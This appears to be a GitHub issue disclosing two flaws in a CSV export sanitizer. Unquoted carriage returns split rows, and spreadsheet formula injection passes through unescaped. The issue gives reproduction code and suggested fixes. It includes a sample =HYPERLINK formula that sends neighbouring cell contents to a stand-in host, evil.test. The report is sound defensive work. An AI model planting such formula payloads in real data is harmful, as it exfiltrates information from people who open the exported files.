Issue Summary
sanitizeValue() in packages/lib/csvUtils.ts — the function every CSV export runs its values through — has two escaping holes. Both are reachable with attacker-supplied text, because booking titles and attendee names come from whoever books the meeting, not from the person downloading the file.
export const sanitizeValue = (value: string) => {
if (value.includes('"')) {
return `"${value.replace(/"/g, '""')}"`;
}
if (value.includes(",") || value.includes("\n")) {
return `"${value}"`;
}
return value;
};
1. A bare carriage return breaks the row structure
The newline check only looks for \n. RFC 4180 treats a lone \r as a record separator too, and so do real parsers. A value containing \r is emitted unquoted and splits the row.
Reproduced with Python's csv module (RFC 4180 compliant) on the exact output of objectsToCsv:
input rows: 2 data rows, 3 columns
parsed out:
['Booking UID', 'Title', 'Attendee name']
['abc', '=1+1', 'Alice']
['jkl', 'CR'] <- row split in half
['injected', 'Dan'] <- and every column after it is shifted
row count: 4 (expected 3)
Anyone who can set a booking title or attendee name to foo\rbar corrupts the org's exported spreadsheet from that row onward.
2. CSV formula injection (CWE-1236)
Values beginning with =, +, -, @, tab or CR are interpreted as formulas by Excel, LibreOffice and Google Sheets. sanitizeValue passes them through untouched:
Booking UID,Title,Attendee name
abc,=1+1,Alice
def,"=HYPERLINK(""https://evil.test?d=""&A1,""Click"")",Bob
The second row is quoted — because it happens to contain a quote character — and quoting does not stop formula evaluation; spreadsheet apps strip the quotes first. So a booking titled =HYPERLINK("https://evil.test?d="&A1,"Click") becomes a clickable link in an admin's downloaded sheet that exfiltrates neighbouring cell contents.
Where this is reachable from
apps/web/modules/bookings/components/BookingsCsvDownload.tsx → transformBookingToCsv() puts booking.title, attendee names, attendee emails and booking.location straight into the export. These are supplied by the person making the booking.
apps/web/modules/users/lib/UserListTableUtils.ts → the members export.
Separately, in generateCsvRawForMembersTable() the email, role and ${orgDomain}/${username} columns are concatenated without calling sanitizeValue at all, while the Teams and attribute columns do call it. That looks unintentional given the surrounding code.
Expected results
- A value containing
\r, \r\n or \n is quoted, so one field stays one field.
- Values that a spreadsheet would evaluate as a formula are neutralised (the usual fix is prefixing a single quote or a tab, per OWASP).
- Every column in the members export goes through the same escaping as its neighbours.
Reproduction
const sanitizeValue = (value) => {
if (value.includes('"')) return `"${value.replace(/"/g, '""')}"`;
if (value.includes(",") || value.includes("\n")) return `"${value}"`;
return value;
};
sanitizeValue("a\rb"); // "a\rb" — not quoted, splits the row
sanitizeValue("=1+1"); // "=1+1" — evaluated by Excel/Sheets
csvUtils.ts currently has no test file.
I have a fix ready and will open a PR referencing this issue.
Issue Summary
sanitizeValue()inpackages/lib/csvUtils.ts— the function every CSV export runs its values through — has two escaping holes. Both are reachable with attacker-supplied text, because booking titles and attendee names come from whoever books the meeting, not from the person downloading the file.1. A bare carriage return breaks the row structure
The newline check only looks for
\n. RFC 4180 treats a lone\ras a record separator too, and so do real parsers. A value containing\ris emitted unquoted and splits the row.Reproduced with Python's
csvmodule (RFC 4180 compliant) on the exact output ofobjectsToCsv:Anyone who can set a booking title or attendee name to
foo\rbarcorrupts the org's exported spreadsheet from that row onward.2. CSV formula injection (CWE-1236)
Values beginning with
=,+,-,@, tab or CR are interpreted as formulas by Excel, LibreOffice and Google Sheets.sanitizeValuepasses them through untouched:The second row is quoted — because it happens to contain a quote character — and quoting does not stop formula evaluation; spreadsheet apps strip the quotes first. So a booking titled
=HYPERLINK("https://evil.test?d="&A1,"Click")becomes a clickable link in an admin's downloaded sheet that exfiltrates neighbouring cell contents.Where this is reachable from
apps/web/modules/bookings/components/BookingsCsvDownload.tsx→transformBookingToCsv()putsbooking.title, attendee names, attendee emails andbooking.locationstraight into the export. These are supplied by the person making the booking.apps/web/modules/users/lib/UserListTableUtils.ts→ the members export.Separately, in
generateCsvRawForMembersTable()theemail,roleand${orgDomain}/${username}columns are concatenated without callingsanitizeValueat all, while theTeamsand attribute columns do call it. That looks unintentional given the surrounding code.Expected results
\r,\r\nor\nis quoted, so one field stays one field.Reproduction
csvUtils.tscurrently has no test file.I have a fix ready and will open a PR referencing this issue.